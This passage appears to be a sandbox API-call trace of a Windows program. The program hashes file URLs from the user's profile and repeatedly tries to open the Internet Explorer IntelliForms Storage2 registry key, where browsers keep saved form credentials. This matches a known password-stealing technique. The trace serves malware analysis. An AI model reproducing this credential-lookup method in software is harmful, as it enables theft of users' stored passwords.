lpString2="C8E2D5B5615A42D789B3037ACB1F9A03CEB76FCA" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB76FCA") returned="C8E2D5B5615A42D789B3037ACB1F9A03CEB76FCA" [0078.091] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB76FCA", lpString2="06" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB76FCA06") returned="C8E2D5B5615A42D789B3037ACB1F9A03CEB76FCA06" [0078.091] LocalFree (hMem=0x647b70) returned 0x0 [0078.091] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.091] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.091] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.091] LocalFree (hMem=0x647ab8) returned 0x0 [0078.091] CoTaskMemFree (pv=0x6568d8) [0078.091] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/ryyl-H0S1UhJkpt.mkv", lpSrch="?") returned 0x0 [0078.091] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/ryyl-H0S1UhJkpt.mkv") returned 60 [0078.091] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AA") returned 2 [0078.091] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x667b50 [0078.091] lstrcpyA (in: lpString1=0x667b50, lpString2="" | out: lpString1="") returned="" [0078.091] lstrcatA (in: lpString1="", lpString2="AA" | out: lpString1="AA") returned="AA" [0078.091] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="10") returned 2 [0078.091] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x667be0 [0078.092] lstrcpyA (in: lpString1=0x667be0, lpString2="AA" | out: lpString1="AA") returned="AA" [0078.092] lstrcatA (in: lpString1="AA", lpString2="10" | out: lpString1="AA10") returned="AA10" [0078.092] LocalFree (hMem=0x667b50) returned 0x0 [0078.092] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C8") returned 2 [0078.092] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x667b50 [0078.092] lstrcpyA (in: lpString1=0x667b50, lpString2="AA10" | out: lpString1="AA10") returned="AA10" [0078.092] lstrcatA (in: lpString1="AA10", lpString2="C8" | out: lpString1="AA10C8") returned="AA10C8" [0078.092] LocalFree (hMem=0x667be0) returned 0x0 [0078.092] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="26") returned 2 [0078.092] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x6643e8 [0078.092] lstrcpyA (in: lpString1=0x6643e8, lpString2="AA10C8" | out: lpString1="AA10C8") returned="AA10C8" [0078.092] lstrcatA (in: lpString1="AA10C8", lpString2="26" | out: lpString1="AA10C826") returned="AA10C826" [0078.092] LocalFree (hMem=0x667b50) returned 0x0 [0078.092] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6B") returned 2 [0078.092] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x664350 [0078.092] lstrcpyA (in: lpString1=0x664350, lpString2="AA10C826" | out: lpString1="AA10C826") returned="AA10C826" [0078.092] lstrcatA (in: lpString1="AA10C826", lpString2="6B" | out: lpString1="AA10C8266B") returned="AA10C8266B" [0078.092] LocalFree (hMem=0x6643e8) returned 0x0 [0078.092] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E9") returned 2 [0078.092] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0078.092] lstrcpyA (in: lpString1=0x6643e8, lpString2="AA10C8266B" | out: lpString1="AA10C8266B") returned="AA10C8266B" [0078.092] lstrcatA (in: lpString1="AA10C8266B", lpString2="E9" | out: lpString1="AA10C8266BE9") returned="AA10C8266BE9" [0078.092] LocalFree (hMem=0x664350) returned 0x0 [0078.092] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="72") returned 2 [0078.092] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x664350 [0078.092] lstrcpyA (in: lpString1=0x664350, lpString2="AA10C8266BE9" | out: lpString1="AA10C8266BE9") returned="AA10C8266BE9" [0078.092] lstrcatA (in: lpString1="AA10C8266BE9", lpString2="72" | out: lpString1="AA10C8266BE972") returned="AA10C8266BE972" [0078.092] LocalFree (hMem=0x6643e8) returned 0x0 [0078.092] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="50") returned 2 [0078.092] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65b1c8 [0078.092] lstrcpyA (in: lpString1=0x65b1c8, lpString2="AA10C8266BE972" | out: lpString1="AA10C8266BE972") returned="AA10C8266BE972" [0078.092] lstrcatA (in: lpString1="AA10C8266BE972", lpString2="50" | out: lpString1="AA10C8266BE97250") returned="AA10C8266BE97250" [0078.092] LocalFree (hMem=0x664350) returned 0x0 [0078.092] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B1") returned 2 [0078.092] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b268 [0078.092] lstrcpyA (in: lpString1=0x65b268, lpString2="AA10C8266BE97250" | out: lpString1="AA10C8266BE97250") returned="AA10C8266BE97250" [0078.093] lstrcatA (in: lpString1="AA10C8266BE97250", lpString2="B1" | out: lpString1="AA10C8266BE97250B1") returned="AA10C8266BE97250B1" [0078.093] LocalFree (hMem=0x65b1c8) returned 0x0 [0078.093] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E3") returned 2 [0078.093] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65b1c8 [0078.093] lstrcpyA (in: lpString1=0x65b1c8, lpString2="AA10C8266BE97250B1" | out: lpString1="AA10C8266BE97250B1") returned="AA10C8266BE97250B1" [0078.093] lstrcatA (in: lpString1="AA10C8266BE97250B1", lpString2="E3" | out: lpString1="AA10C8266BE97250B1E3") returned="AA10C8266BE97250B1E3" [0078.093] LocalFree (hMem=0x65b268) returned 0x0 [0078.093] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C0") returned 2 [0078.093] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b268 [0078.093] lstrcpyA (in: lpString1=0x65b268, lpString2="AA10C8266BE97250B1E3" | out: lpString1="AA10C8266BE97250B1E3") returned="AA10C8266BE97250B1E3" [0078.093] lstrcatA (in: lpString1="AA10C8266BE97250B1E3", lpString2="C0" | out: lpString1="AA10C8266BE97250B1E3C0") returned="AA10C8266BE97250B1E3C0" [0078.093] LocalFree (hMem=0x65b1c8) returned 0x0 [0078.093] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="04") returned 2 [0078.093] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0078.093] lstrcpyA (in: lpString1=0x652cb0, lpString2="AA10C8266BE97250B1E3C0" | out: lpString1="AA10C8266BE97250B1E3C0") returned="AA10C8266BE97250B1E3C0" [0078.093] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C0", lpString2="04" | out: lpString1="AA10C8266BE97250B1E3C004") returned="AA10C8266BE97250B1E3C004" [0078.093] LocalFree (hMem=0x65b268) returned 0x0 [0078.093] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0078.093] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652e00 [0078.093] lstrcpyA (in: lpString1=0x652e00, lpString2="AA10C8266BE97250B1E3C004" | out: lpString1="AA10C8266BE97250B1E3C004") returned="AA10C8266BE97250B1E3C004" [0078.093] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C004", lpString2="44" | out: lpString1="AA10C8266BE97250B1E3C00444") returned="AA10C8266BE97250B1E3C00444" [0078.093] LocalFree (hMem=0x652cb0) returned 0x0 [0078.093] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A5") returned 2 [0078.093] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0078.093] lstrcpyA (in: lpString1=0x652cb0, lpString2="AA10C8266BE97250B1E3C00444" | out: lpString1="AA10C8266BE97250B1E3C00444") returned="AA10C8266BE97250B1E3C00444" [0078.093] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C00444", lpString2="A5" | out: lpString1="AA10C8266BE97250B1E3C00444A5") returned="AA10C8266BE97250B1E3C00444A5" [0078.093] LocalFree (hMem=0x652e00) returned 0x0 [0078.093] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AE") returned 2 [0078.093] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652e00 [0078.093] lstrcpyA (in: lpString1=0x652e00, lpString2="AA10C8266BE97250B1E3C00444A5" | out: lpString1="AA10C8266BE97250B1E3C00444A5") returned="AA10C8266BE97250B1E3C00444A5" [0078.093] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C00444A5", lpString2="AE" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE") returned="AA10C8266BE97250B1E3C00444A5AE" [0078.093] LocalFree (hMem=0x652cb0) returned 0x0 [0078.093] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="03") returned 2 [0078.093] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.093] lstrcpyA (in: lpString1=0x6293a8, lpString2="AA10C8266BE97250B1E3C00444A5AE" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE") returned="AA10C8266BE97250B1E3C00444A5AE" [0078.094] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C00444A5AE", lpString2="03" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE03") returned="AA10C8266BE97250B1E3C00444A5AE03" [0078.094] LocalFree (hMem=0x652e00) returned 0x0 [0078.094] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="72") returned 2 [0078.094] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.094] lstrcpyA (in: lpString1=0x6292f8, lpString2="AA10C8266BE97250B1E3C00444A5AE03" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE03") returned="AA10C8266BE97250B1E3C00444A5AE03" [0078.094] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C00444A5AE03", lpString2="72" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372") returned="AA10C8266BE97250B1E3C00444A5AE0372" [0078.094] LocalFree (hMem=0x6293a8) returned 0x0 [0078.094] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BF") returned 2 [0078.094] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.094] lstrcpyA (in: lpString1=0x6293a8, lpString2="AA10C8266BE97250B1E3C00444A5AE0372" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372") returned="AA10C8266BE97250B1E3C00444A5AE0372" [0078.094] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C00444A5AE0372", lpString2="BF" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BF") returned="AA10C8266BE97250B1E3C00444A5AE0372BF" [0078.094] LocalFree (hMem=0x6292f8) returned 0x0 [0078.094] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B2") returned 2 [0078.094] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.094] lstrcpyA (in: lpString1=0x6292f8, lpString2="AA10C8266BE97250B1E3C00444A5AE0372BF" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BF") returned="AA10C8266BE97250B1E3C00444A5AE0372BF" [0078.094] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BF", lpString2="B2" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BFB2") returned="AA10C8266BE97250B1E3C00444A5AE0372BFB2" [0078.094] LocalFree (hMem=0x6293a8) returned 0x0 [0078.094] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9E") returned 2 [0078.094] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0078.094] lstrcpyA (in: lpString1=0x647ab8, lpString2="AA10C8266BE97250B1E3C00444A5AE0372BFB2" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BFB2") returned="AA10C8266BE97250B1E3C00444A5AE0372BFB2" [0078.094] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BFB2", lpString2="9E" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BFB29E") returned="AA10C8266BE97250B1E3C00444A5AE0372BFB29E" [0078.094] LocalFree (hMem=0x6292f8) returned 0x0 [0078.094] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="31") returned 2 [0078.094] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647b70 [0078.094] lstrcpyA (in: lpString1=0x647b70, lpString2="AA10C8266BE97250B1E3C00444A5AE0372BFB29E" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BFB29E") returned="AA10C8266BE97250B1E3C00444A5AE0372BFB29E" [0078.094] lstrcatA (in: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BFB29E", lpString2="31" | out: lpString1="AA10C8266BE97250B1E3C00444A5AE0372BFB29E31") returned="AA10C8266BE97250B1E3C00444A5AE0372BFB29E31" [0078.094] LocalFree (hMem=0x647ab8) returned 0x0 [0078.094] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.094] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.094] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.094] LocalFree (hMem=0x647b70) returned 0x0 [0078.094] CoTaskMemFree (pv=0x656a70) [0078.095] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/pq__H7umpvaa7xU1OM.odt", lpSrch="?") returned 0x0 [0078.095] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/pq__H7umpvaa7xU1OM.odt") returned 57 [0078.095] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="88") returned 2 [0078.095] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x667b50 [0078.095] lstrcpyA (in: lpString1=0x667b50, lpString2="" | out: lpString1="") returned="" [0078.095] lstrcatA (in: lpString1="", lpString2="88" | out: lpString1="88") returned="88" [0078.095] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5C") returned 2 [0078.095] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x667be0 [0078.095] lstrcpyA (in: lpString1=0x667be0, lpString2="88" | out: lpString1="88") returned="88" [0078.095] lstrcatA (in: lpString1="88", lpString2="5C" | out: lpString1="885C") returned="885C" [0078.095] LocalFree (hMem=0x667b50) returned 0x0 [0078.095] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6E") returned 2 [0078.095] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x667b50 [0078.095] lstrcpyA (in: lpString1=0x667b50, lpString2="885C" | out: lpString1="885C") returned="885C" [0078.095] lstrcatA (in: lpString1="885C", lpString2="6E" | out: lpString1="885C6E") returned="885C6E" [0078.095] LocalFree (hMem=0x667be0) returned 0x0 [0078.095] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A2") returned 2 [0078.095] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x664350 [0078.095] lstrcpyA (in: lpString1=0x664350, lpString2="885C6E" | out: lpString1="885C6E") returned="885C6E" [0078.095] lstrcatA (in: lpString1="885C6E", lpString2="A2" | out: lpString1="885C6EA2") returned="885C6EA2" [0078.095] LocalFree (hMem=0x667b50) returned 0x0 [0078.095] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E4") returned 2 [0078.095] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6643e8 [0078.096] lstrcpyA (in: lpString1=0x6643e8, lpString2="885C6EA2" | out: lpString1="885C6EA2") returned="885C6EA2" [0078.096] lstrcatA (in: lpString1="885C6EA2", lpString2="E4" | out: lpString1="885C6EA2E4") returned="885C6EA2E4" [0078.096] LocalFree (hMem=0x664350) returned 0x0 [0078.096] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="99") returned 2 [0078.096] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0078.096] lstrcpyA (in: lpString1=0x664350, lpString2="885C6EA2E4" | out: lpString1="885C6EA2E4") returned="885C6EA2E4" [0078.096] lstrcatA (in: lpString1="885C6EA2E4", lpString2="99" | out: lpString1="885C6EA2E499") returned="885C6EA2E499" [0078.096] LocalFree (hMem=0x6643e8) returned 0x0 [0078.096] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="14") returned 2 [0078.096] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6643e8 [0078.096] lstrcpyA (in: lpString1=0x6643e8, lpString2="885C6EA2E499" | out: lpString1="885C6EA2E499") returned="885C6EA2E499" [0078.096] lstrcatA (in: lpString1="885C6EA2E499", lpString2="14" | out: lpString1="885C6EA2E49914") returned="885C6EA2E49914" [0078.096] LocalFree (hMem=0x664350) returned 0x0 [0078.096] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="ED") returned 2 [0078.096] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65b1c8 [0078.096] lstrcpyA (in: lpString1=0x65b1c8, lpString2="885C6EA2E49914" | out: lpString1="885C6EA2E49914") returned="885C6EA2E49914" [0078.096] lstrcatA (in: lpString1="885C6EA2E49914", lpString2="ED" | out: lpString1="885C6EA2E49914ED") returned="885C6EA2E49914ED" [0078.096] LocalFree (hMem=0x6643e8) returned 0x0 [0078.096] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5B") returned 2 [0078.096] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b268 [0078.096] lstrcpyA (in: lpString1=0x65b268, lpString2="885C6EA2E49914ED" | out: lpString1="885C6EA2E49914ED") returned="885C6EA2E49914ED" [0078.096] lstrcatA (in: lpString1="885C6EA2E49914ED", lpString2="5B" | out: lpString1="885C6EA2E49914ED5B") returned="885C6EA2E49914ED5B" [0078.096] LocalFree (hMem=0x65b1c8) returned 0x0 [0078.096] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="01") returned 2 [0078.096] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65b1c8 [0078.096] lstrcpyA (in: lpString1=0x65b1c8, lpString2="885C6EA2E49914ED5B" | out: lpString1="885C6EA2E49914ED5B") returned="885C6EA2E49914ED5B" [0078.096] lstrcatA (in: lpString1="885C6EA2E49914ED5B", lpString2="01" | out: lpString1="885C6EA2E49914ED5B01") returned="885C6EA2E49914ED5B01" [0078.096] LocalFree (hMem=0x65b268) returned 0x0 [0078.096] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="41") returned 2 [0078.096] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b268 [0078.096] lstrcpyA (in: lpString1=0x65b268, lpString2="885C6EA2E49914ED5B01" | out: lpString1="885C6EA2E49914ED5B01") returned="885C6EA2E49914ED5B01" [0078.096] lstrcatA (in: lpString1="885C6EA2E49914ED5B01", lpString2="41" | out: lpString1="885C6EA2E49914ED5B0141") returned="885C6EA2E49914ED5B0141" [0078.096] LocalFree (hMem=0x65b1c8) returned 0x0 [0078.096] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B1") returned 2 [0078.096] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652e00 [0078.096] lstrcpyA (in: lpString1=0x652e00, lpString2="885C6EA2E49914ED5B0141" | out: lpString1="885C6EA2E49914ED5B0141") returned="885C6EA2E49914ED5B0141" [0078.096] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141", lpString2="B1" | out: lpString1="885C6EA2E49914ED5B0141B1") returned="885C6EA2E49914ED5B0141B1" [0078.097] LocalFree (hMem=0x65b268) returned 0x0 [0078.097] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="13") returned 2 [0078.097] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0078.097] lstrcpyA (in: lpString1=0x652cb0, lpString2="885C6EA2E49914ED5B0141B1" | out: lpString1="885C6EA2E49914ED5B0141B1") returned="885C6EA2E49914ED5B0141B1" [0078.097] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B1", lpString2="13" | out: lpString1="885C6EA2E49914ED5B0141B113") returned="885C6EA2E49914ED5B0141B113" [0078.097] LocalFree (hMem=0x652e00) returned 0x0 [0078.097] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B7") returned 2 [0078.097] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652e00 [0078.097] lstrcpyA (in: lpString1=0x652e00, lpString2="885C6EA2E49914ED5B0141B113" | out: lpString1="885C6EA2E49914ED5B0141B113") returned="885C6EA2E49914ED5B0141B113" [0078.097] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B113", lpString2="B7" | out: lpString1="885C6EA2E49914ED5B0141B113B7") returned="885C6EA2E49914ED5B0141B113B7" [0078.097] LocalFree (hMem=0x652cb0) returned 0x0 [0078.097] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="79") returned 2 [0078.097] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0078.097] lstrcpyA (in: lpString1=0x652cb0, lpString2="885C6EA2E49914ED5B0141B113B7" | out: lpString1="885C6EA2E49914ED5B0141B113B7") returned="885C6EA2E49914ED5B0141B113B7" [0078.097] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B113B7", lpString2="79" | out: lpString1="885C6EA2E49914ED5B0141B113B779") returned="885C6EA2E49914ED5B0141B113B779" [0078.097] LocalFree (hMem=0x652e00) returned 0x0 [0078.097] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E6") returned 2 [0078.097] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.097] lstrcpyA (in: lpString1=0x6292f8, lpString2="885C6EA2E49914ED5B0141B113B779" | out: lpString1="885C6EA2E49914ED5B0141B113B779") returned="885C6EA2E49914ED5B0141B113B779" [0078.097] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B113B779", lpString2="E6" | out: lpString1="885C6EA2E49914ED5B0141B113B779E6") returned="885C6EA2E49914ED5B0141B113B779E6" [0078.097] LocalFree (hMem=0x652cb0) returned 0x0 [0078.097] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="79") returned 2 [0078.097] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.097] lstrcpyA (in: lpString1=0x6293a8, lpString2="885C6EA2E49914ED5B0141B113B779E6" | out: lpString1="885C6EA2E49914ED5B0141B113B779E6") returned="885C6EA2E49914ED5B0141B113B779E6" [0078.097] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B113B779E6", lpString2="79" | out: lpString1="885C6EA2E49914ED5B0141B113B779E679") returned="885C6EA2E49914ED5B0141B113B779E679" [0078.097] LocalFree (hMem=0x6292f8) returned 0x0 [0078.097] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="79") returned 2 [0078.097] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.097] lstrcpyA (in: lpString1=0x6292f8, lpString2="885C6EA2E49914ED5B0141B113B779E679" | out: lpString1="885C6EA2E49914ED5B0141B113B779E679") returned="885C6EA2E49914ED5B0141B113B779E679" [0078.097] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B113B779E679", lpString2="79" | out: lpString1="885C6EA2E49914ED5B0141B113B779E67979") returned="885C6EA2E49914ED5B0141B113B779E67979" [0078.097] LocalFree (hMem=0x6293a8) returned 0x0 [0078.097] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A7") returned 2 [0078.097] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.097] lstrcpyA (in: lpString1=0x6293a8, lpString2="885C6EA2E49914ED5B0141B113B779E67979" | out: lpString1="885C6EA2E49914ED5B0141B113B779E67979") returned="885C6EA2E49914ED5B0141B113B779E67979" [0078.097] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B113B779E67979", lpString2="A7" | out: lpString1="885C6EA2E49914ED5B0141B113B779E67979A7") returned="885C6EA2E49914ED5B0141B113B779E67979A7" [0078.097] LocalFree (hMem=0x6292f8) returned 0x0 [0078.098] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C2") returned 2 [0078.098] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647b70 [0078.098] lstrcpyA (in: lpString1=0x647b70, lpString2="885C6EA2E49914ED5B0141B113B779E67979A7" | out: lpString1="885C6EA2E49914ED5B0141B113B779E67979A7") returned="885C6EA2E49914ED5B0141B113B779E67979A7" [0078.098] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B113B779E67979A7", lpString2="C2" | out: lpString1="885C6EA2E49914ED5B0141B113B779E67979A7C2") returned="885C6EA2E49914ED5B0141B113B779E67979A7C2" [0078.098] LocalFree (hMem=0x6293a8) returned 0x0 [0078.098] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0078.098] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0078.098] lstrcpyA (in: lpString1=0x647ab8, lpString2="885C6EA2E49914ED5B0141B113B779E67979A7C2" | out: lpString1="885C6EA2E49914ED5B0141B113B779E67979A7C2") returned="885C6EA2E49914ED5B0141B113B779E67979A7C2" [0078.098] lstrcatA (in: lpString1="885C6EA2E49914ED5B0141B113B779E67979A7C2", lpString2="44" | out: lpString1="885C6EA2E49914ED5B0141B113B779E67979A7C244") returned="885C6EA2E49914ED5B0141B113B779E67979A7C244" [0078.098] LocalFree (hMem=0x647b70) returned 0x0 [0078.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.098] LocalFree (hMem=0x647ab8) returned 0x0 [0078.098] CoTaskMemFree (pv=0x658ab0) [0078.098] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/PBkj.csv", lpSrch="?") returned 0x0 [0078.098] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/PBkj.csv") returned 43 [0078.098] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="92") returned 2 [0078.098] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x667b50 [0078.098] lstrcpyA (in: lpString1=0x667b50, lpString2="" | out: lpString1="") returned="" [0078.098] lstrcatA (in: lpString1="", lpString2="92" | out: lpString1="92") returned="92" [0078.098] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="74") returned 2 [0078.098] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x667be0 [0078.098] lstrcpyA (in: lpString1=0x667be0, lpString2="92" | out: lpString1="92") returned="92" [0078.098] lstrcatA (in: lpString1="92", lpString2="74" | out: lpString1="9274") returned="9274" [0078.098] LocalFree (hMem=0x667b50) returned 0x0 [0078.098] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0078.098] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x667b50 [0078.098] lstrcpyA (in: lpString1=0x667b50, lpString2="9274" | out: lpString1="9274") returned="9274" [0078.099] lstrcatA (in: lpString1="9274", lpString2="57" | out: lpString1="927457") returned="927457" [0078.099] LocalFree (hMem=0x667be0) returned 0x0 [0078.099] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C1") returned 2 [0078.099] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x6643e8 [0078.099] lstrcpyA (in: lpString1=0x6643e8, lpString2="927457" | out: lpString1="927457") returned="927457" [0078.099] lstrcatA (in: lpString1="927457", lpString2="C1" | out: lpString1="927457C1") returned="927457C1" 